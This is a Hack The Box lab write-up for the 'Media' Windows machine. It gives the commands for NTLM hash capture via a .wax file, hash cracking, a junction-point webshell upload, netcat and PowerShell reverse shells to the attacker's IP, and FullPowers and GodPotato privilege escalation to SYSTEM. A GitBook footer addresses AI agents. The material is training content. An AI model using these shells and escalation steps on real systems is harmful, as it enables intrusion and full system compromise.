> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/media-htb-writeup-or-by-alham-rizvi.md). # Media - HTB Writeup | By Alham Rizvi
> **Hack The Box Machine**\ > **Name:** Media\ > **Difficulty:** Medium\ > **OS:** Windows\ > **Release Date:** 04 Sep 2025\ > **Creator:** Enox\ > **IP:** 10.129.234.67 *** ### Box Information | Field | Detail | | ---------- | -------------------------------------------------- | | Name | [Media](https://app.hackthebox.com/machines/Media) | | OS | Windows | | Difficulty | Medium | | Release | 04 Sep 2025 | | Creator | Enox | | IP | 10.129.234.67 | *** ### Attack Chain Diagram ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ ATTACK CHAIN OVERVIEW │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────┐ │ │ │ RECON │───▶│ NTLM LEAK │───▶│ HASH CRACK │───▶│ SSH │ │ │ │ Nmap/ │ │ .wax file │ │ Hashcat │ │ enox │ │ │ │ Feroxbuster│ │ Responder │ │ │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ └──────────┘ │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────┐ │ │ │ JUNCTION │───▶│ WEBSHELL │───▶│ REVERSE │───▶│ LOCAL │ │ │ │ mklink │ │ upload │ │ SHELL │ │ SERVICE │ │ │ │ │ │ PHP │ │ nc │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ └──────────┘ │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────┐ │ │ │ FULLPOWERS │───▶│ GODPOTATO │───▶│ SYSTEM │───▶│ FLAGS │ │ │ │ Restore │ │ Exploit │ │ Shell │ │ Root/ │ │ │ │ Privileges │ │ SeImpersonate│ │ │ │ User │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ └──────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` *** ### 1. Reconnaissance Phase #### Tools Used & Why **Nmap – Network Mapper** **Why we use it:** Identifies open ports, services, and OS – critical first step. ```bash # Full port scan - quick identification nmap -p- -vvv --min-rate 10000 10.129.234.67 # Service enumeration nmap -p 22,80,3389 -sCV 10.129.234.67 ``` **Results:** | Port | Service | Notes | | -------- | ------- | -------------------------------------------- | | 22/tcp | SSH | Unusual on Windows → Potential remote access | | 80/tcp | HTTP | Apache + PHP → Web application attack vector | | 3389/tcp | RDP | Remote Desktop → Windows confirmation | **Interpretation:** * TTL=127 → Windows OS * Port 22 (SSH) → Windows Server 2019+ includes OpenSSH * Port 80 → Web server with file upload **Feroxbuster** **Why we use it:** Fast directory brute forcing with recursive scanning. ```bash feroxbuster -u http://10.129.234.67 -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ``` **Findings:** * `assets/`, `css/`, `js/` directories * `index.php` as main page * File upload form at bottom of page *** ### 2. NTLMv2 Hash Capture #### Understanding NTLM Authentication ``` ┌─────────────────────────────────────────────────────────────┐ │ NTLM AUTHENTICATION FLOW │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Client Server │ │ │ │ │ │ │ 1. Request resource │ │ │ │────────────────────────────▶│ │ │ │ │ │ │ │ 2. Challenge (random #) │ │ │ │◀────────────────────────────│ │ │ │ │ │ │ │ 3. Encrypt challenge │ │ │ │ with password hash │ │ │ │────────────────────────────▶│ │ │ │ │ │ │ │ 4. Verify response │ │ │ │ │ │ │ │ ⚠️ HASH SENT OVER NETWORK! │ │ │ │ Can be captured by attacker│ │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ ``` #### .wax File – NTLM Leak **What is a .wax file?** Windows Media Audio Redirector – an XML file that Windows Media Player opens by default. When opened, it attempts to fetch media from the specified SMB path, automatically triggering NTLM authentication. ```xml Leak ``` **Why this works:** * Windows Media Player is installed by default * `.wax` files auto-open via file association * `file://` protocol forces SMB connection * SMB connection triggers NTLM authentication * NTLM hash is sent over the network #### Capturing with Responder **Responder** listens for LLMNR/NBT-NS/MDNS requests and hosts a malicious SMB server to capture NTLM hashes. ```bash sudo responder -I tun0 -v ``` **Captured Data:** ``` [+] NTLMv2-SSP Client : 10.129.234.67 [+] NTLMv2-SSP Username : MEDIA\enox [+] NTLMv2-SSP Hash : enox::MEDIA:76cfab6bd4aa1cd5:F03FA30F96A0D8BA... ``` #### Cracking with Hashcat Hashcat mode 5600 = NTLMv2. ```bash hashcat -m 5600 enox.hash /usr/share/wordlists/rockyou.txt ``` **Cracked Password:** `1234virus@` **Password Analysis:** ``` Pattern: [numbers][word][symbol] Weakness: Common pattern, in rockyou.txt ``` *** ### 3. Initial Access – Shell as enox ```bash ssh enox@10.129.234.67 Password: 1234virus@ ``` **Why SSH works on Windows:** * Windows Server 2019+ includes OpenSSH Server * Optional Windows feature * Provides secure remote shell access *** ### 4. File Upload Analysis #### Source Code Analysis (index.php) ```php ``` **Critical Observations:** | Issue | Impact | | ------------------------ | ----------------------------------- | | No file validation | Can upload ANY file type | | MD5 folder name | Predictable if we know input values | | No extension restriction | Can upload PHP files | | Uploads to Windows\Tasks | Low-privilege directory | #### review\.ps1 – Monitoring Service ```powershell while($True){ if ((Get-Content -Path $todofile) -eq $null) { Sleep 60 } else { $filename = $result.FileName $randomVariable = $result.RandomVariable # Opening the File in Windows Media Player Start-Process -FilePath $mediaPlayerPath -ArgumentList "C:\Windows\Tasks\uploads\$randomVariable\$filename" # Wait for 15 seconds, then kill Start-Sleep -Seconds 15 Stop-Process -Name "wmplayer" -Force } } ``` **Why this matters:** * Explains why the .wax file was opened * Upload directory is monitored * Windows Media Player processes uploaded files *** ### 5. Junction Point Attack #### What is a Junction Point? ``` ┌─────────────────────────────────────────────────────────────┐ │ JUNCTION POINT VS SYMLINK │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Linux Symlink: file → /actual/path/file │ │ Windows JUNCTION: directory → \actual\path\ │ │ │ │ Why we use it: │ │ 1. Upload writes to C:\Windows\Tasks\Uploads\ │ │ 2. We need files in C:\xampp\htdocs\ │ │ 3. enox can't write to htdocs directly │ │ 4. Junction bypasses permission issues │ │ │ └─────────────────────────────────────────────────────────────┘ ``` #### Implementation **Step 1: Calculate MD5** ```bash echo -n "test1test1test@test.com" | md5sum # 6331bca0bdcbd440e7c10921d694bfd4 ``` **Step 2: Create Junction** ```cmd cmd /c mklink /J C:\Windows\Tasks\Uploads\6331bca0bdcbd440e7c10921d694bfd4 C:\xampp\htdocs ``` **How it works:** ``` Upload writes to → C:\Windows\Tasks\Uploads\6331bca0...\ ↓ (Junction redirects) C:\xampp\htdocs\ ↓ File becomes web-accessible! ``` #### PHP Web Shell **Why simple PHP works:** ```php ``` * `system()` executes OS commands * `$_GET["cmd"]` gets command from URL * No authentication required **Upload via curl:** ```bash curl -X POST http://10.129.234.67/ \ -F "firstname=test1" \ -F "lastname=test1" \ -F "email=test@test.com" \ -F "fileToUpload=@webshell.php" \ -F "submit=Upload File" ``` **Testing webshell:** ```bash curl "http://10.129.234.67/webshell.php?cmd=whoami" # Output: nt authority\local service ``` *** ### 6. Reverse Shell #### Netcat (nc.exe) **Why Netcat:** * "Swiss Army knife" of networking * Simple reverse shell creation * Works on Windows * Reliable and small **Reverse Shell Concept:** ``` Victim Machine Attacker Machine │ │ │ ────── connects to ───────────→ │ Port 4444 (listening) │ │ │ ────── sends shell ───────────→ │ │ │ │ ←──── receives commands ──────── │ │ │ │ ────── executes ──────────────→ │ │ │ │ ────── returns output ─────────→ │ ``` #### Executing Reverse Shell **On attacker (listener):** ```bash nc -nvlp 4444 ``` **On victim (via webshell):** ```bash curl "http://10.129.234.67/webshell.php?cmd=powershell%20-enc%20BASE64_PAYLOAD" ``` **PowerShell Base64 Encoding:** ```powershell $command = '$client = New-Object System.Net.Sockets.TCPClient("10.10.17.37",4444);...' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) [System.Convert]::ToBase64String($bytes) ``` *** ### 7. Local Privilege Escalation #### Understanding Windows Privileges ``` ┌─────────────────────────────────────────────────────────────┐ │ WINDOWS PRIVILEGES │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Each Windows process has: │ │ │ │ TOKEN contains: │ │ - User SID (who am I) │ │ - Groups (what groups am I in) │ │ - Privileges (what can I do) │ │ │ │ Privileges can be: │ │ - Enabled (can use it) │ │ - Disabled (have it, but can't use) │ │ - Denied (don't have it) │ │ │ └─────────────────────────────────────────────────────────────┘ ``` #### FullPowers – Restoring Privileges **Why FullPowers is needed:** * Windows Services start with limited privileges * But SERVICE accounts HAVE privileges (just disabled!) * FullPowers re-enables them **How FullPowers works:** ``` ┌─────────────────────────────────────────────────────────────┐ │ FULLPOWERS PROCESS │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. Service Account (LOCAL SERVICE) │ │ ↓ │ │ 2. Create Scheduled Task (runs as service) │ │ ↓ │ │ 3. Task has DEFAULT privileges (ALL enabled) │ │ ↓ │ │ 4. Execute payload with FULL privileges │ │ ↓ │ │ 5. Now have SeImpersonatePrivilege ENABLED! │ │ │ └─────────────────────────────────────────────────────────────┘ ``` **Implementation:** ```bash C:\programdata\FullPowers.exe -c "C:\programdata\nc64.exe -e cmd 10.10.17.37 4445" -z ``` * `-c` → Command to execute * `-z` → Non-interactive mode #### GodPotato – SYSTEM Exploit **What is GodPotato?** * Exploit for `SeImpersonatePrivilege` * Combines multiple techniques * Reliable on Windows Server 2012-2022 **How GodPotato works:** ``` ┌─────────────────────────────────────────────────────────────┐ │ GODPOTATO EXPLOIT │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. Create Named Pipe (for communication) │ │ ↓ │ │ 2. Trigger SYSTEM process to connect to pipe │ │ ↓ │ │ 3. Impersonate SYSTEM token from the connection │ │ ↓ │ │ 4. Spawn process with SYSTEM token │ │ ↓ │ │ 5. SYSTEM shell achieved! │ │ │ └─────────────────────────────────────────────────────────────┘ ``` **Why SeImpersonatePrivilege is dangerous:** * Allows impersonating any user * Can impersonate SYSTEM * SYSTEM = highest privilege level * Can do ANYTHING on the system **Implementation:** ```bash C:\programdata\GodPotato.exe -cmd "C:\programdata\nc64.exe -e cmd 10.10.17.37 4446" ``` *** ### 8. Tools Summary | Tool | Category | Why We Used It | Alternative | | --------------- | -------------------- | -------------------------------- | --------------------------- | | **nmap** | Recon | Identify open ports and services | masscan, rustscan | | **feroxbuster** | Web Enumeration | Find hidden directories | gobuster, dirb | | **Responder** | Hash Capture | Capture NTLMv2 hashes from SMB | Inveigh, ntlmrelayx | | **Hashcat** | Password Cracking | Crack captured NTLMv2 hash | John the Ripper | | **curl** | Web Interaction | Upload files, execute commands | wget, Invoke-WebRequest | | **mklink** | File System | Create junction points | New-Item -ItemType Junction | | **nc64.exe** | Reverse Shell | Provide stable reverse shell | nishang, powercat | | **FullPowers** | Privilege Escalation | Restore SeImpersonatePrivilege | Manual scheduled task | | **GodPotato** | Privilege Escalation | Exploit to SYSTEM | JuicyPotato, PrintSpoofer | *** ### 9. Why This Attack Worked ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ WHY THE ATTACK WORKED │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. Upload vulnerability: No file validation │ │ 2. Windows Media Player: Exposed NTLM hashes │ │ 3. Weak password: Cracked with rockyou.txt │ │ 4. Junction points: Bypassed directory permissions │ │ 5. PHP execution: Allowed webshell │ │ 6. Default privileges: Service account had SeImpersonatePrivilege │ │ 7. GodPotato: Exploited SeImpersonatePrivilege for SYSTEM │ │ │ │ RESULT: Complete system compromise! │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` *** ### 10. Quick Reference Commands ```bash # === RECON === nmap -p- -vvv --min-rate 10000 10.129.234.67 nmap -p 22,80,3389 -sCV 10.129.234.67 feroxbuster -u http://10.129.234.67 -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt # === NTLM LEAK === sudo responder -I tun0 -v # === SSH === ssh enox@10.129.234.67 Password: 1234virus@ # === JUNCTION === echo -n "test1test1test@test.com" | md5sum # 6331bca0bdcbd440e7c10921d694bfd4 cmd /c mklink /J C:\Windows\Tasks\Uploads\6331bca0bdcbd440e7c10921d694bfd4 C:\xampp\htdocs # === WEBSHELL === echo '' > webshell.php curl -X POST http://10.129.234.67/ \ -F "firstname=test1" -F "lastname=test1" \ -F "email=test@test.com" -F "fileToUpload=@webshell.php" \ -F "submit=Upload File" # === REVERSE SHELL === nc -nvlp 4444 curl "http://10.129.234.67/webshell.php?cmd=powershell%20-enc%20BASE64" # === SYSTEM === C:\programdata\FullPowers.exe -c "C:\programdata\nc64.exe -e cmd 10.10.17.37 4445" -z C:\programdata\GodPotato.exe -cmd "C:\programdata\nc64.exe -e cmd 10.10.17.37 4446" # === FLAGS === type C:\Users\Administrator\Desktop\root.txt type C:\Users\enox\Desktop\user.txt │ ``` ### 12. Flags | Flag | Location | Hash | | ---- | ----------------------------------------- | ------------ | | User | `C:\Users\enox\Desktop\user.txt` | `[REDACTED]` | | Root | `C:\Users\Administrator\Desktop\root.txt` | `[REDACTED]` | *** *Machine pwned – Happy Hacking!* 🏆 --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/media-htb-writeup-or-by-alham-rizvi.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.